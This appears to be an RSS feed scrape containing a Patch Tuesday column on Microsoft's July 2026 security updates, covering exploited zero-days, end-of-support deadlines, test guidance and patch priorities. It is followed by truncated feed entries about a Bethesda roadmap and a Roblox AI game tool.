<p class="wp-block-paragraph">Microsoft addressed 722 CVEs this month once the 427 Chromium upstream relays are set aside — roughly three times a normal cycle and one of the largest single months in recent memory. Two vulnerabilities arrive under active exploitation: an elevation of privilege in <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/ad-fs-overview">Active Directory Federation Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56155">CVE-2026-56155</a>), and an elevation of privilege in <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> Server (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>). A third, a <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) is publicly disclosed but not yet exploited.</p>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> earns Patch Now recommendations for Windows, Office, Exchange, and SQL Server. SharePoint has two critical RCEs on top of its exploited zero-day, and Exchange Server returns with a critical on-premises spoofing flaw. Adding to our (dear) administrator’s efforts, SharePoint Server 2016/2019 and SQL Server 2016 all reach end of support today. The Readiness team has provided a handy <a href="https://applicationreadiness.com/perspectives/assurance-security-dashboard-july-2026-patch-tuesday/">infographic</a> of the expected risk profile of this month’s Patch Tuesday updates.</p>



<h2 class="wp-block-heading">Known issues</h2>



<p class="wp-block-paragraph">The <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July release note</a> flags known issues against the following updates:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a> recovery prompt on first restart – the PCR7 recovery condition tracked since April remains live on the platforms that did not receive the Boot Manager servicing fix (Windows Server 2022 and Windows 10 22H2). Devices with BitLocker on the OS drive, the Group Policy “Configure TPM platform validation profile for native UEFI firmware configurations” set with PCR7 included, and <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/system-security/trusted-boot">Secure Boot</a> State PCR7 Binding reported as “Not Possible” may be prompted for the recovery key on the first restart after installing this update. This month’s publicly disclosed BitLocker security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50661">CVE-2026-50661</a>) keeps the component in focus.</li>
</ul>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a> synchronization error details suppressed (Windows Server 2025 and 2022) – WSUS no longer displays synchronization error details in its error reporting, a deliberate change made to address the Remote Code Execution Vulnerability <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287">CVE-2025-59287</a>. Sync still works, but administrators triaging a failed synchronization lose the detail pane and must fall back to the SoftwareDistribution logs.</li>
</ul>



<p class="wp-block-paragraph">Windows Update can still replace manually installed graphics drivers with older OEM versions from the catalogue (the four-part Hardware ID ranking issue acknowledged on the <a href="https://techcommunity.microsoft.com/blog/hardware-dev-center/updated-graphics-driver-publishing-policy-from-4-part-to-2-part-hwid--chid-targe/4519070">Hardware Dev Center</a>). The two-part HWID pilot runs to September 2026.</p>



<h2 class="wp-block-heading">Major revisions and mitigations</h2>



<p class="wp-block-paragraph">Between the June and July Patch Tuesdays, MSRC Security Update Guide notices updated 651 reported CVEs across six notification dates (15, 19, 26 June and 3, 8, 11 July), 532 of them routine Chromium upstream re-publications. Of the roughly 30 Microsoft revisions, almost all were cross-platform Office catch-up with no bearing on a Windows enterprise estate. No further action required for IT administrators for this Windows update cycle.</p>



<h2 class="wp-block-heading">Windows lifecycle and enforcement updates</h2>



<p class="wp-block-paragraph">This is the deadline cycle June pointed at. The July end-of-support wave lands today, and it collides with the month’s heaviest patching. <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a> take some of their most active security updates ever on platforms receiving their last.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2016">SharePoint Server 2016</a> and <a href="https://learn.microsoft.com/en-us/lifecycle/products/sharepoint-server-2019">2019</a>, <a href="https://learn.microsoft.com/en-us/lifecycle/products/project-server-2016">Project Server 2016</a> and 2019, <a href="https://learn.microsoft.com/en-us/lifecycle/products/sql-server-2016">SQL Server 2016</a> and InfoPath 2013 have all reached end of support. SQL Server 2014 ESU Year 2 reaches end of support today. SharePoint 2016/2019 take an actively exploited zero-day and two RCEs this cycle, and SQL Server 2016 takes a critical RCE, all as their final security update. Now is the time to get moving on updating these platforms.</li>
</ul>



<p class="wp-block-paragraph">The 2011 Secure Boot certificate expiries have now passed; devices that never took the Windows UEFI CA 2023 key updates under <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24932">CVE-2023-24932</a> can no longer receive updated boot components, with the Windows Production PCA for the boot manager still ahead on 19 October 2026. <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-authentication-overview">Kerberos</a> RC4 hardening (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20833">CVE-2026-20833</a>) has been in enforcement since April 2026; the July 2026 update removes the RC4DefaultDisablementPhase rollback control that let administrators defer it, making enforcement final.</p>



<p class="wp-block-paragraph">Microsoft’s <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jul">July 2026 Patch Tuesday</a> is a security-only release: 180 test-guidance entries, 14 of them high risk (June had one). Printing and graphics are the centre of gravity: win32kfull.sys, the kernel-mode window manager, is the most-patched binary (14 entries), and seven high-risk flags sit alongside it – the <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/print/introduction-to-spooler-components">Print Spooler</a>, four win32k entries, and two <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-gdi-start">GDI+</a> metafile entries. <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> is the second theme, with 10 entries, two high risk. Every entry reports no functional changes – it’s pure regression validation. The packages span Windows 11 26H1 back to Server 2012 ESU.</p>



<h2 class="wp-block-heading">Printing and graphics (high risk)</h2>



<p class="wp-block-paragraph">The Print Spooler flag centres on shared printers, whose queue status must track jobs accurately; the win32k flags cover 32-bit application printing, font rendering in printed and exported output, on-screen rendering, and window management; the GDI+ flags cover metafiles.</p>



<ul class="wp-block-list">
<li>Share a printer from a print server, print from a separate client in varied sizes and formats, and cancel a job, confirming the queue reflects every state change</li>



<li>Print from your 32-bit applications, and print text-heavy, graphics-heavy, and multi-page documents to physical and virtual (PDF or XPS) printers, repeating after orientation, scaling, and resolution changes</li>



<li>Export documents with varied fonts to PDF and confirm fonts and layout survive; render EMF+ files that apply effects to very large images, and convert EMF files to WMF</li>



<li>Open and close windows rapidly, drive common dialogs by mouse and keyboard, and close parents with children open – no orphaned windows</li>
</ul>



<h2 class="wp-block-heading">Storage and file systems (high risk)</h2>



<p class="wp-block-paragraph">Both NTFS high-risk flags target integrity – extended attributes, and volume recovery after an unexpected shutdown. File History carries its own high-risk flag on clients. A Windows Server 2025-only bundle across boot, <a href="https://learn.microsoft.com/en-us/windows/security/operating-system-security/data-protection/bitlocker/">BitLocker</a>, and <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> demands the full Secure Boot/BitLocker matrix. Eight entries hit Server 2025 alone, including WSL, GPU partitioning, and a scripted Windows Server Backup pass repeating recovery after rolling the date 90 days forward.</p>



<ul class="wp-block-list">
<li>Exercise NTFS extended attributes – older-system EAs, backup workflows that preserve them, concurrent same-file operations where supported – with antivirus, encryption, or storage filters active</li>



<li>Simulate an unexpected shutdown during file activity, verify the volume mounts intact, run chkdsk, and confirm indexing, shadow copies, and backup still work</li>



<li>Run a full File History pass: back up, modify and back up again, exclude folders, change frequency, move the destination</li>



<li>On Server 2025, boot all four Secure Boot/BitLocker combinations, in standard and confidential VMs where supported</li>
</ul>



<h2 class="wp-block-heading">Devices, input and networking (high risk)</h2>



<p class="wp-block-paragraph">Three further high-risk flags land here: HID input (hidparse.sys with win32k) – touch, keyboard, mouse, touchpad, through disconnects and restarts; the WinSock bundle (afd.sys plus Bluetooth and multicast drivers); and IrDA. The heaviest ask is not high risk at all: the NetAdapterCx driver (24H2/25H2, Server 2025) wants 500-plus adapter enable-disable cycles under Driver Verifier.</p>



<ul class="wp-block-list">
<li>Run the connectivity suite: browsing, large downloads, mapped drives, an RDP session idle 30+ minutes, a Teams call, an hour of streaming, and localhost apps such as Docker or WSL</li>



<li>Stress Bluetooth: pairing, 10+ minutes of audio, input after idle, and reconnection after sleep</li>



<li>Where infrared hardware exists, transfer a file and run at least 100 connect-disconnect cycles</li>



<li>Sweep the rest: DNS Server (zone data must stay under its configured database directory), the client resolver (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> Server (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/file-server-smb-overview">SMB</a>, <a href="https://learn.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview">NFS</a>, Message Queuing (five entries), <a href="https://learn.microsoft.com/en-us/windows-server/remote/remote-access/remote-access">RRAS</a> administration, client VPN, and WinHTTP/WinINet consumers</li>
</ul>



<h2 class="wp-block-heading">Other windows components</h2>



<p class="wp-block-paragraph">Windows Installer itself is patched: testing should include application install, uninstall, repair, and force a rollback. <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> wants virtual-switch traffic as part of its testing exercises with Virtual Filtering Platform policies enforced. Sixteen media-related security entries cover playback, HEVC and MPEG-TS, USB audio, and MIDI 2.0.</p>



<h2 class="wp-block-heading">Shell hardening and LSA isolation</h2>



<p class="wp-block-paragraph">These two entries are a little different from the rest of the cycle: they ask you to confirm a security behaviour actively works, not just that nothing regressed. A pass here means the protection fired, so treat them as functional checks rather than box-ticking.</p>



<ul class="wp-block-list">
<li>Shortcut handling (windows.storage.dll; Windows 11 23H2 and earlier, plus Server 2022): drop a shortcut file carrying the <a href="https://learn.microsoft.com/en-us/deployoffice/security/internet-macros-blocked">Mark of the Web</a> into a folder and confirm the system refuses to extract its icon and leaks no <a href="https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview">NTLM</a> credential hash – include the zero-click paths, where the icon would otherwise render without you opening anything</li>



<li>LSA isolation and KeyGuard (24H2/25H2, Server 2025): run the supplied PowerShell validation script, which turns on <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">Virtualization-based Security</a> if it isn’t already, exercises KeyGuard key operations in both required and best-effort isolation modes, and reports pass or fail – it needs TPM 2.0, UEFI with Secure Boot disabled, and PowerShell 7</li>



<li>Run that script on a dedicated test machine, never a shared one: it enables test signing, disables automatic updates, and reboots without asking</li>
</ul>



<h2 class="wp-block-heading">Office &amp; SharePoint</h2>



<p class="wp-block-paragraph">July’s <a href="https://learn.microsoft.com/en-us/office/">Office</a> wave is security-only; everything landed on 14 July, and nothing critical or non-security shipped in the 7 July preview. It’s an MSI-only cycle, so <a href="https://learn.microsoft.com/en-us/deployoffice/overview-office-deployment-tool">Click-to-Run</a> estates can sit this one out.</p>



<ul class="wp-block-list">
<li>On MSI Office 2016, apply the client updates – <a href="https://learn.microsoft.com/en-us/office/client-developer/excel/excel-home">Excel</a> (KB5002886), <a href="https://learn.microsoft.com/en-us/office/client-developer/word/word-home">Word</a> (KB5002890), PowerPoint (KB5002867), and five further Office 2016 security updates (<a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002273">KB5002273</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002887">KB5002887</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002748">KB5002748</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002857">KB5002857</a>, <a href="https://support.microsoft.com/en-us/servicing/office/update/2026/5002830">KB5002830</a>) – then exercise macros, external data, embedded objects, and any line-of-business add-ins</li>



<li>On <a href="https://learn.microsoft.com/en-us/sharepoint/sharepoint-server">SharePoint Server</a>, patch 2016 (KB5002891, plus the KB5002892 language pack) and Subscription Edition (KB5002882), then check browser-based editing; the guidance lists SharePoint 2019 with a baseline but ships no 2019 package, so there is nothing to install there</li>
</ul>



<p class="wp-block-paragraph">Mind the rollback rules before you schedule the window: most client updates can be uninstalled, but the server updates cannot and always require a reboot.</p>



<h2 class="wp-block-heading">Developer tools &amp; databases</h2>



<p class="wp-block-paragraph">The developer estate gets a broad but low-drama sweep this month. Both .NET and SQL Server patch widely, but the ask is representative-application validation rather than anything exotic – install on the matching branch and confirm normal behaviour.</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/dotnet/core/sdk">.NET</a>: install the SDK updates (8.0.423, 9.0.316, 10.0.302, x64 and x86) and the Framework rollups spanning 3.5 through 4.8.1 – which reach from Windows Server 2012 up to Windows 11 26H1 and Server 2025 – then run a representative set of applications and confirm they function normally</li>



<li><a href="https://learn.microsoft.com/en-us/sql/sql-server/">SQL Server</a>: the <a href="https://learn.microsoft.com/en-us/troubleshoot/sql/releases/servicing-models-sql-server">GDR</a> updates span 2016 SP3 through 2025 – install each on its matching branch and test that each removes cleanly</li>



<li>Check an encrypted client connection through the separately patched Windows SQL client (dbnetlib.dll), which ships outside the server branches</li>
</ul>



<p class="wp-block-paragraph">The Readiness team recommends the following priorities for your larger enterprise deployments:</p>



<ul class="wp-block-list">
<li>Start with printing and graphics: half the high-risk flags sit in the Print Spooler, win32k, and GDI+, so regress shared printers, 32-bit printing, PDF export, metafiles, and window management before anything else</li>



<li>Take NTFS next – extended attributes and crash recovery both touch data integrity – and add a client File History backup-and-restore pass</li>



<li>Give Server 2025 its wider matrix – the Secure Boot/BitLocker combinations, WSL, GPU partitioning, and the scripted backup pass – and work through the stress suites</li>



<li>Run the scripted KeyGuard validation on any <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-vbs">VBS</a> estate, preferably on a dedicated machine.</li>
</ul>



<p class="wp-block-paragraph">Each month, we break down the update cycle into product families (as defined by Microsoft) with the following basic groupings:</p>



<ul class="wp-block-list">
<li>Browsers (Microsoft IE and Edge)</li>



<li>Microsoft Windows (both desktop and server)</li>



<li>Microsoft Office</li>



<li>Microsoft Exchange and SQL Server</li>



<li>Microsoft Developer Tools (Visual Studio and .NET)</li>



<li>Adobe (if you get this far)</li>
</ul>



<h2 class="wp-block-heading">Browsers</h2>



<p class="wp-block-paragraph">Edge has had a busier month than usual. Microsoft addressed 46 <a href="https://learn.microsoft.com/en-us/deployedge/microsoft-edge-for-business">Microsoft Edge</a> (Chromium-based) CVEs this cycle. None critical, but heavily weighted to remote code execution (21 entries) and spoofing (13), led by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289">CVE-2026-58289</a>, a remote code execution flaw. A run of further RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981">CVE-2026-57981</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645">CVE-2026-56645</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974">CVE-2026-57974</a>) follows.</p>



<ul class="wp-block-list">
<li>Microsoft Edge – the Edge-specific fixes ship in the Edge stable channel (version 150.0.4078.65, released 9 July). The concentration of RCE and spoofing this month is worth a look for managed Edge estates rather than a routine wave-through.</li>



<li>Chromium upstream – 427 CVEs relayed through MSRC this cycle, spanning the weekly Chrome release cadence since the June report: use-after-free, out-of-bounds read/write, type confusion, and inappropriate-implementation flaws across V8, Dawn, ANGLE, Skia, and Tint. The same fixes ship in the Chrome Stable channel; see the <a href="https://chromereleases.googleblog.com/">Chrome releases blog</a> for the upstream notes.</li>
</ul>



<p class="wp-block-paragraph">The Chromium volume looks (quite) alarming but is routine plumbing: it flows to Edge through its own auto-update channel. Add these browser (Edge) updates to your standard release schedule for your managed environments.</p>



<h2 class="wp-block-heading">Microsoft Windows</h2>



<p class="wp-block-paragraph">Windows carries the bulk of this month’s updates: 406 CVEs, 31 rated critical and 374 important. Elevation of privilege dominates by volume (226 entries), followed by remote code execution (70), information disclosure (70), denial of service (23), and a scatter of security-feature-bypass, tampering, and spoofing entries across the following feature groupings:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/en-us/windows-server/networking/technologies/dhcp/dhcp-top">DHCP</a> – the standout network cluster: DHCP Server remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50518">CVE-2026-50518</a>, “Exploitation More Likely,” and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56159">CVE-2026-56159</a>), with further critical DHCP Server and DHCP Client RCEs behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48564">CVE-2026-48564</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50370">CVE-2026-50370</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54128">CVE-2026-54128</a>). DHCP servers are the deployment priority.</li>



<li><a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/virtual-switch">VMSwitch</a> and <a href="https://learn.microsoft.com/en-us/windows-server/virtualization/hyper-v/hyper-v-on-windows-server">Hyper-V</a> – the Windows VMSwitch elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57092">CVE-2026-57092</a>) is one of the month’s highest-severity flaws, joined by two critical Hyper-V elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50680">CVE-2026-50680</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54127">CVE-2026-54127</a>), guest-to-host risk on virtualisation hosts.</li>



<li>Network stack RCE – a Windows Server Network driver RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56188">CVE-2026-56188</a>, “Exploitation More Likely”), plus <a href="https://learn.microsoft.com/en-us/troubleshoot/windows-client/networking/tcpip-addressing-and-subnetting">TCP/IP</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54999">CVE-2026-54999</a>), the Reliable Multicast Transport Driver (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54982">CVE-2026-54982</a>), and SSTP (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50694">CVE-2026-50694</a>).</li>



<li>Graphics – Windows <a href="https://learn.microsoft.com/en-us/windows/win32/gdiplus/-gdiplus-overview-of-gdi--about">GDI+</a> remote code execution (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50380">CVE-2026-50380</a>) and a <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/display/directx-graphics-kernel-subsystem">DirectX Graphics Kernel</a> RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50382">CVE-2026-50382</a>), both reachable through document-rendering paths.</li>



<li>Windows Media – a large cluster: three critical <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/microsoft-media-foundation-sdk">Media Foundation</a> RCEs (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57090">CVE-2026-57090</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57094">CVE-2026-57094</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57087">CVE-2026-57087</a>) lead 14 Windows Media and seven Media Foundation entries overall.</li>



<li>Identity infrastructure – beyond the exploited ADFS flaw, <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/get-started/virtual-dc/active-directory-domain-services-overview">Active Directory Domain Services</a> takes a critical RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49164">CVE-2026-49164</a>) and <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-cs/active-directory-certificate-services-overview">Active Directory Certificate Services</a> a critical elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54121">CVE-2026-54121</a>). Domain controllers take priority again.</li>



<li><a href="https://learn.microsoft.com/en-us/windows/win32/printdocs/print-spooler">Print Spooler</a>, <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">WSUS</a>, and MSMQ – critical RCE/EoP in the Print Spooler (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58608">CVE-2026-58608</a>), <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-server-update-services/get-started/windows-server-update-services-wsus">Windows Server Update Services</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50444">CVE-2026-50444</a>), and <a href="https://learn.microsoft.com/en-us/windows/win32/rpc/overview-of-message-queuing-services-architecture">Message Queuing</a> (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54992">CVE-2026-54992</a>, “Exploitation More Likely”), all server-role attack surface.</li>
</ul>



<p class="wp-block-paragraph">The <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/windows-kernel-mode-kernel-library">Windows Kernel</a> is the most-patched component (28 CVEs, seven “More Likely”), followed by <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/ntfs-overview">NTFS</a> (21), Windows Runtime (17), Windows Media (14), <a href="https://learn.microsoft.com/en-us/windows-server/storage/refs/refs-overview">ReFS</a> (12), and Win32k (15 across its two entries). Add this Windows update to your Patch Now deployment schedule.</p>



<h2 class="wp-block-heading">Microsoft Office</h2>



<p class="wp-block-paragraph">Microsoft released 96 Office CVEs this month: 19 critical, 76 important. Remote code execution leads (53 entries), ahead of information disclosure (27) and spoofing (10). <a href="https://learn.microsoft.com/en-us/sharepoint/getting-started">SharePoint</a> is the centre of gravity: it touches 39 of the 96 CVEs and supplies the family’s one actively exploited flaw.</p>



<ul class="wp-block-list">
<li>SharePoint Server: has been exploited (who would have guessed) and reaches end of support today. <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56164">CVE-2026-56164</a>, an elevation of privilege, is under active exploitation. Above it sit two critical remote code execution flaws, both “Exploitation More Likely” (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50522">CVE-2026-50522</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58644">CVE-2026-58644</a>) and a critical security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55040">CVE-2026-55040</a>). SharePoint Server 2016 and 2019 reach end of support on 14 July, so this exploited, critical-heavy set is the final security update those on-premises farms will receive.</li>



<li>Office has experienced a long run of critical remote code execution entries across Office, Word, and PowerPoint (among them <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55033">CVE-2026-55033</a> and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55127">CVE-2026-55127</a> in Word, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55043">CVE-2026-55043</a> in PowerPoint, and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55018">CVE-2026-55018</a> in Office), topped by <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55045">CVE-2026-55045</a>.</li>
</ul>



<p class="wp-block-paragraph">With an exploited zero-day, two RCEs, and an end-of-support deadline all landing on SharePoint in the same cycle, SharePoint environments are the priority. Add the July Office and SharePoint updates to your Patch Now schedule.</p>



<h2 class="wp-block-heading">Microsoft Exchange and <a href="https://learn.microsoft.com/en-us/sql/sql-server/what-is-sql-server?view=sql-server-ver17">SQL Server</a></h2>



<p class="wp-block-paragraph">Both Exchange and SQL Server carry critical-rated security vulnerabilities this month. <a href="https://learn.microsoft.com/en-us/exchange/">Exchange Server</a> returns with an on-premises security update for Exchange Server Subscription Edition, the only on-premises release still supported after Exchange Server 2016 and 2019 reached end of support in October 2025; SQL Server takes two critical remote code execution flaws, one of them against SQL Server 2016, which reaches end of support on the same day.</p>



<ul class="wp-block-list">
<li>Exchange Server (on-premises) – <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55008">CVE-2026-55008</a>, a spoofing vulnerability rated critical and “Exploitation More Likely,” is the headline. Behind it, a remote code execution entry (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55005">CVE-2026-55005</a>) and two elevation-of-privilege flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55006">CVE-2026-55006</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55009">CVE-2026-55009</a>) round out the on-premises set. A separate Exchange Online elevation of privilege (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54998">CVE-2026-54998</a>, critical) is fixed service-side with no customer action.</li>



<li>SQL Server – two critical remote code execution flaws: <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54117">CVE-2026-54117</a> (SQL Server 2025) and <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54118">CVE-2026-54118</a> (which reaches back to SQL Server 2016 SP3), with five further important elevation-of-privilege and information-disclosure entries behind them. The 2016 exposure matters because SQL Server 2016 reaches end of support on 14 July: a critical RCE on a platform taking its final update.</li>
</ul>



<p class="wp-block-paragraph">Both belong on the Patch Now schedule this month: the Exchange on-premises update for its critical spoofing flaw, and the SQL Server update for the two critical RCEs.</p>



<h2 class="wp-block-heading">Microsoft developer tools</h2>



<p class="wp-block-paragraph">Microsoft released 24 CVEs across its developer tooling this month, all rated important. The weighting shifts from last month’s <a href="https://code.visualstudio.com/">Visual Studio Code</a> concentration toward <a href="https://learn.microsoft.com/en-us/dotnet/core/introduction">.NET</a> and <a href="https://learn.microsoft.com/en-us/aspnet/core/overview?view=aspnetcore-10.0">ASP.NET Core</a>, where a run of denial-of-service entries dominates the volume:</p>



<ul class="wp-block-list">
<li>ASP.NET Core and .NET – the two highest-severity entries are ASP.NET Core elevation-of-privilege entries (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300">CVE-2026-47300</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303">CVE-2026-47303</a>), ahead of a .NET security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528">CVE-2026-50528</a>) and two .NET / .NET Framework remote code execution flaws (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50646">CVE-2026-50646</a>, <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50649">CVE-2026-50649</a>).</li>



<li><a href="https://learn.microsoft.com/en-us/visualstudio/get-started/visual-studio-ide?view=visualstudio">Visual Studio</a> and VS Code – a GitHub Copilot / Visual Studio Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109">CVE-2026-41109</a>) and a second VS Code security feature bypass (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57102">CVE-2026-57102</a>) lead here, with a VS Code remote code execution entry behind them (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50520">CVE-2026-50520</a>) and a Visual Studio RCE (<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47305">CVE-2026-47305</a>).</li>
</ul>



<p class="wp-block-paragraph">Add these Microsoft updates to your standard developer update release schedule.</p>



<h2 class="wp-block-heading">Adobe (and third-party updates)</h2>



<p class="wp-block-paragraph">Outside Microsoft’s own catalogue, July is quiet. Adobe issued no Acrobat or Reader security updates. So, the month belongs to Microsoft, and it is a heavy one: 722 CVEs, roughly three times a normal cycle and one of the largest on record. Worth noting that this lands in the same season Microsoft has been talking up AI-assisted vulnerability management, and the AI stack it is selling as the answer, Copilot and Azure OpenAI among them, sits in the centre of this patch cycle’s own critical-rated updates. The (AI) tooling may be getting smarter, but the patch pile is (definitely) not getting smaller. This may be the beginning of an accelerating curve of ever larger patch cycles. My feeling is that we are in the middle of the beginning of this coming patch surge.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Bethesda roadmap: more Fallout is coming, Starfield support continues, but Elder Scrolls VI is the main priority]]></title>
<description><![CDATA[Bethesda Game Studios have given a rare update into their roadmap of what they're working on, and it sounds like quite exciting news.Read the full article on GamingOnLinux.]]></description>
<link>https://tsecurity.de/de/3676431/linux-tipps/bethesda-roadmap-more-fallout-is-coming-starfield-support-continues-but-elder-scrolls-vi-is-the-main-priority/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3676431/linux-tipps/bethesda-roadmap-more-fallout-is-coming-starfield-support-continues-but-elder-scrolls-vi-is-the-main-priority/</guid>
<pubDate>Fri, 17 Jul 2026 17:13:50 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Bethesda Game Studios have given a rare update into their roadmap of what they're working on, and it sounds like quite exciting news.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/286554266id29408gol.webp" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/07/bethesda-roadmap-more-fallout-is-coming-starfield-support-continues-but-elder-scrolls-vi-is-the-main-priority/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Roblox’s AI game creation tool is coming to iPhone and iPad]]></title>
<description><![CDATA[Roblox’s new AI game creation tool Build lets iPhone users turn a text prompt into a playable game. Give it a try!
(via Cult of Mac - Your source for the latest Apple news, rumors, analysis, reviews, how-tos and deals.)]]></description>
